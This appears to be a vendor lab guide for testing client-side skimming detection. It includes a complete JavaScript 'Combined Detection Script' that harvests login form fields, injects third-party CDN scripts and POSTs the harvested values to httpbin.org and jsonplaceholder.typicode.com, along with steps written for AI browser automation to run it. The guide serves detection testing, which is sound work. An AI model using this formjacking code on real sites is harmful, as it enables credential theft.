Skip to content

Phase 2 — Attack

Phase 2 generates simulated attack traffic against the protected application and confirms CSD detected it. Phase 1 must be complete — all Step 7 checks PASS — before proceeding.

After the infrastructure is verified (all Phase 1 Step 7 checks PASS), run the attack simulation scripts to generate CSD detections. The scripts are defined in the Trigger Detection guide and the Attack Script Library.

AI assistants with browser automation tools run the attack simulation programmatically:

  1. Navigate with initScript — first navigate to about:blank to ensure a clean document context (avoids stale initScripts from prior navigations), then navigate_page to http://$F5XC_DOMAINNAME/#/login with an initScript that saves native setInterval, clearInterval, fetch, and console.log before zone.js patches them, polls for the login form fields, fills credentials via the native HTMLInputElement.prototype.value setter, and immediately executes the Combined Detection Script inline. Use the verbatim initScript below.
  2. Dismiss Welcome Bannerpress_key with Escape to close the Welcome Banner. On subsequent visits the banner may not appear (cookies persisted). The cookie consent dialog is dismissed automatically by the Escape key
  3. Wait for completion — wait 10 seconds for all CDN script load/error callbacks and fetch promise resolutions to complete
  4. Capture evidencelist_console_messages to check for [CSD Demo] Simulation complete and CDN load results; list_network_requests filtered to script and fetch types to verify HTTP status codes (200/201 for success, pending for held requests)

Phase 2 initScript (verbatim — use exactly as written):

// Save native references before zone.js patches them
var _si = window.setInterval.bind(window);
var _ci = window.clearInterval.bind(window);
var _fetch = window.fetch.bind(window);
var _log = window.console.log.bind(window.console);
// Poll for login form fields, fill credentials, run detection script
var _poll = _si(function() {
var emailEl = document.querySelector('#email');
var passEl = document.querySelector('#password');
if (emailEl && passEl) {
_ci(_poll);
// Fill credentials via native setter (bypasses zone.js)
var nativeSet = Object.getOwnPropertyDescriptor(
window.HTMLInputElement.prototype, 'value').set;
nativeSet.call(emailEl, 'test@example.com');
emailEl.dispatchEvent(new Event('input', { bubbles: true }));
nativeSet.call(passEl, 'P@ssword123');
passEl.dispatchEvent(new Event('input', { bubbles: true }));
// Run Combined Detection Script inline using native fetch for exfil
(function() {
_log('==================================================');
_log('[CSD Demo] Combined Detection Script — Starting');
_log('==================================================');
_log('\n[Formjack] Phase 1: Form field harvesting');
var inputs = document.querySelectorAll('input');
var harvested = {};
inputs.forEach(function(input) {
var name = input.name || input.id || input.type;
harvested[name] = input.value || '(empty)';
});
_log('[Formjack] Harvested ' + Object.keys(harvested).length + ' fields:', harvested);
_log('\n[Supply Chain] Phase 2: Multi-CDN script injection');
var cdns = [
{ url: 'https://cdn.jsdelivr.net/npm/lodash@4.17.21/lodash.min.js', name: 'jsdelivr' },
{ url: 'https://esm.sh/moment@2.30.1', name: 'esm.sh' },
{ url: 'https://unpkg.com/underscore@1.13.7/underscore-min.js', name: 'unpkg' },
{ url: 'https://ga.jspm.io/npm:dayjs@1.11.13/dayjs.min.js', name: 'jspm' }
];
cdns.forEach(function(cdn) {
var script = document.createElement('script');
script.src = cdn.url;
script.onload = function() { _log('[Supply Chain] Loaded from ' + cdn.name + ': ' + cdn.url); };
script.onerror = function() { _log('[Supply Chain] Blocked/failed from ' + cdn.name + ': ' + cdn.url); };
document.head.appendChild(script);
_log('[Supply Chain] Injected script tag: ' + cdn.name);
});
_log('\n[Exfil] Phase 3: Data exfiltration');
var payload = JSON.stringify({
type: 'combined_demo', credentials: harvested,
page: window.location.href, timestamp: Date.now()
});
_fetch('https://www.httpbin.org/post', { method: 'POST', mode: 'no-cors', body: payload })
.then(function() { _log('[Exfil] Data sent to www.httpbin.org'); });
_fetch('https://jsonplaceholder.typicode.com/posts', {
method: 'POST', mode: 'no-cors',
headers: { 'Content-Type': 'application/json' }, body: payload
}).then(function() { _log('[Exfil] Data sent to jsonplaceholder.typicode.com'); });
_log('\n==================================================');
_log('[CSD Demo] Simulation complete');
_log('[CSD Demo] Fields harvested: ' + Object.keys(harvested).length);
_log('[CSD Demo] Scripts injected: 4 (4 CDN domains)');
_log('[CSD Demo] Exfil channels: 2 (fetch POST)');
_log('==================================================');
})();
}
}, 300);

Operators without browser automation tools perform the steps manually:

  1. Navigate to the protected application login page: http://xF5XC_DOMAINNAMEx/#/login
  2. Enter dummy credentials — type test@example.com in the Email field and P@ssword123 in the Password field (do not submit the form)
  3. Open DevTools — press F12 and switch to the Console tab
  4. Run the Combined Detection Script — paste the script from Trigger Detection — Run the Combined Simulation Script into the console and press Enter
  5. Verify console output — confirm the [CSD Demo] phased output shows: field harvesting, script injection from 4 CDN domains, and data exfiltration to 2 endpoints
SignalBehaviorDetection
Form field harvestingReads email and password input valuesScripts reading sensitive form fields — flagged High Risk
Script injectionInjects 4 <script> tags from cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.ioUp to 4 new third-party script domains detected (CDN availability varies)
Data exfiltrationSends harvested data via fetch to www.httpbin.org and jsonplaceholder.typicode.comNetwork calls to external domains

The AI assistant should report the following. For AI-automated execution, evidence is captured programmatically via list_console_messages (the initScript’s polling function logs results to the console). For manual execution, the operator reads the browser console output.

CheckExpectedStatus
Login page loaded200 OK at http://$F5XC_DOMAINNAME/#/loginPASS / FAIL
Console script executed[CSD Demo] Simulation complete in console outputPASS / FAIL
Fields harvestedCount > 0 in console outputPASS
Scripts injected1–4 CDN domains in console output (some may fail with resource errors)PASS if any CDN domain appears
Exfil channels2 fetch POST attempts in console outputPASS

Query the CSD API endpoints to confirm detections appeared. Use the polling loop: query /detected_domains every 60 seconds; proceed as soon as DET-3 passes. If DET-3 does not pass after 10 minutes, check CSD configuration. If DET-3 does not pass after 30 minutes, stop and report to operator. These endpoints are documented in the API Reference and use the same authentication and namespace as previous steps.

Query for scripts detected in the last 24 hours:

Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s -X POST \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
-H "Content-Type: application/json" \
-d "{\"startTime\": \"$START\", \"endTime\": \"$NOW\"}" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/scripts" \
| jq '{total: (.scripts | length), scripts: [.scripts[]? | {script_name: .script_name, risk_level: .risk_level}]}'
FieldExpectedStatus
total> 0 (scripts detected)PASS if > 0; PENDING if 0 but /detected_domains shows exfil domains
Script namesIncludes CDN domains (cdn.jsdelivr.net, esm.sh, unpkg.com, ga.jspm.io) in script_namePASS if injected CDN domains appear
Terminal window
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/detected_domains" \
| jq '{total_domains: .domain_summary.totalDomains, domains: [.domains_list[]? | {domain: .domain, category: .category}]}'
FieldExpectedStatus
total_domains> 0PASS if > 0
Domain listIncludes CDN and exfil domainsPASS if expected domains appear
Terminal window
NOW=$(date +%s)
START=$(( NOW - 86400 ))
curl -s \
-H "Authorization: APIToken xF5XC_API_TOKENx" \
"xF5XC_API_URLx/api/shape/csd/namespaces/xF5XC_NAMESPACEx/formFields?startTime=$START&endTime=$NOW" \
| jq '{total: .total_size, fields: [.form_fields[]? | {name: .name, sensitivity: .analysis.value, scripts: (.associated_scripts | length), locations: .locations}]}'
FieldExpectedStatus
total> 0PASS if > 0; PENDING if 0 but DET-3 passes
nameIncludes email, passwordPASS if sensitive fields appear
sensitivitySensitive for email/password fieldsPASS if ML classified correctly

After all detection queries, present the final detection status:

Test IDCheckStatus
DET-1Scripts detected (/scripts endpoint)PASS if > 0; PENDING if empty but DET-3 passes
DET-2CDN domains detectedPASS / FAIL
DET-3Exfil domains detected (/detected_domains)Primary indicator — PASS if www.httpbin.org or jsonplaceholder.typicode.com appear
DET-4Form fields detected (/formFields endpoint)PASS if > 0; PENDING if empty but DET-3 passes

Phase 2 complete. Proceed to Phase 3 — Mitigate to apply mitigation rules and verify domains are blocked.